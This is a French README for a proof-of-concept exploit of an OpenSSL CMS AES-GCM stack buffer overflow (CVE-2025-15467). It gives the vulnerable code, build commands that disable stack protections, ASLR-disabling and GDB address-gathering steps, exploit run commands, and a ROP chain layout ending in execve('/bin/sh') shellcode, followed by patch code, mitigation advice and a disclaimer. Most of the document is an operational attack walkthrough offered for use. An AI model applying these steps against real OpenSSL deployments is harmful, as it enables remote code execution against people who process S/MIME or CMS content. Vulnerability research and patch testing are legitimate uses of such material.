
PoC d'exécution de commandes pour le débordement de tampon de pile d'OpenSSL CVE-2025-15467
CVE-2025-15467 est une vulnérabilité critique de débordement de tampon sur la pile dans le code d'analyse CMS (Cryptographic Message Syntax) d'OpenSSL. La vulnérabilité existe dans la fonction evp_cipher_get_asn1_aead_params() lors du traitement des vecteurs d'initialisation (IV) AES-GCM dans les structures CMS AuthEnvelopedData.
| Propriété | Valeur |
|---|---|
| Identifiant CVE | CVE-2025-15467 |
| Gravité | Élevée |
| CVSS | 8.1+ |
| Versions concernées | OpenSSL 3.0 - 3.6 (avant correctifs) |
| Impact | Exécution de code à distance (RCE) |
| Vecteur d'attaque | Réseau (analyse de CMS/S-MIME malveillant) |
| Authentification | Aucune requise |
La vulnérabilité se situe dans crypto/evp/evp_lib.c :
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
evp_cipher_aead_asn1_params *asn1_params)
{
int i = 0;
long tl;
unsigned char iv[EVP_MAX_IV_LENGTH]; // Tampon fixe de 16 octets !
if (type == NULL || asn1_params == NULL)
return 0;
i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
if (i <= 0)
return -1;
// BUG : utilise 'i' (contrôlé par l'attaquant) comme max_len au lieu de EVP_MAX_IV_LENGTH
ossl_asn1_type_get_octetstring_int(type, &tl, iv, i); // DÉBORDEMENT !
memcpy(asn1_params->iv, iv, i);
asn1_params->iv_len = i;
return i;
}
iv est un tampon fixe de 16 octets sur la pile (EVP_MAX_IV_LENGTH = 16)ossl_asn1_type_get_octetstring_int() retourne la longueur de l'IV depuis le fichieri) comme paramètre max_leni > 16, la fonction écrit au-delà du tampon → Débordement de tampon sur la pileLe débordement se produit lors du déchiffrement CMS pendant l'analyse des paramètres GCM. Un attaquant peut :
Toute application qui analyse du contenu CMS/PKCS#7 non fiable avec des chiffrements AEAD :
CMS_decrypt() ou des fonctions similaires# Installer les dépendances
pip install pwntools # Optionnel, pour la détection automatique de gadgets
# Cloner ce dépôt
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467
# Exécuter le script d'installation pour compiler OpenSSL vulnérable
chmod +x setup.sh
./setup.sh
Ou manuellement :
# Télécharger et compiler OpenSSL 3.4.0 vulnérable
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0
# Compiler SANS protection de pile pour une démonstration plus facile
./Configure linux-x86_64 \
--prefix=/opt/openssl-vuln \
-fno-stack-protector \
-D_FORTIFY_SOURCE=0 \
-z execstack
make -j$(nproc)
sudo make install
cd ..
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64
# Générer la clé et le certificat
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
-days 1 -subj "/CN=Test"
# Créer un fichier CMS valide (nécessaire comme modèle)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
-in plain.txt -out valid.cms -outform DER dummy.crt
# Vérifier que cela fonctionne
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
-inkey dummy.key -recip dummy.crt
L'exploit peut détecter automatiquement les adresses lorsque l'ASLR est désactivé :
# Désactiver l'ASLR (nécessite les droits root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Exécuter l'exploit avec détection automatique
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
/opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt
# Exécuter l'exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt
# Vous devriez obtenir un shell !
Si la détection automatique échoue, obtenez les adresses manuellement :
# Obtenir les adresses depuis GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl
(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings # Obtenir les adresses de base de libc et libcrypto
(gdb) continue
(gdb) # Lorsqu'il atteint evp_cipher_get_asn1_aead_params :
(gdb) print/x $rsp # Obtenir l'adresse de la pile
Exemple de sortie :
libc-2.31.so: 0x7ffff7711000
libcrypto.so.3: 0x7ffff7936000
RSP: 0x7fffffffdc58
Puis générez l'exploit :
# Générer l'exploit avec des adresses manuelles
# Arguments : <base_libcrypto> <base_libc> <adresse_pile> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms
# Exécuter l'exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt
mprotect() et rendre la pile exécutablemprotect(), saute vers le shellcode sur la pile via le gadget jmp rspexecve("/bin/sh", NULL, NULL) pour lancer un shell[remplissage : 56 octets pour atteindre le RIP sauvegardé]
[pop rdi; ret] <- Définit RDI = page_pile (pour arg1 de mprotect)
[adresse page_pile]
[pop rsi; ret] <- Définit RSI = 0x1000 (pour arg2 de mprotect)
[0x1000]
[pop rdx; pop rbx; ret] <- Définit RDX = 7 (PROT_RWX pour arg3 de mprotect)
[7]
[0] <- Valeur factice pour RBX
[mprotect] <- Appelle mprotect(page_pile, 0x1000, 7)
[jmp rsp] <- Saute vers le shellcode
[shellcode] <- execve("/bin/sh", NULL, NULL)
| Fichier | Description |
|---|---|
exploit.py | Exploit principal avec modes automatique et manuel |
setup.sh |
Mettre à jour OpenSSL vers les versions corrigées :
Ne pas traiter de contenu CMS/S-MIME non fiable tant que le correctif n'est pas appliqué
if (i > EVP_MAX_IV_LENGTH)
return -1;
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);
| Date | Événement |
|---|---|
| 2025-12-14 | Vulnérabilité signalée à OpenSSL |
| 2026-01-27 | Avis de sécurité publié |
| 2026-01-27 | Correctifs publiés |
Cette preuve de concept est fournie à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé à des systèmes informatiques est illégal. À utiliser de manière responsable.
Licence MIT - Voir le fichier LICENSE pour plus de détails.
| Script pour compiler OpenSSL vulnérable |
README.md | Cette documentation |
TECHNICAL.md | Analyse technique approfondie de la vulnérabilité |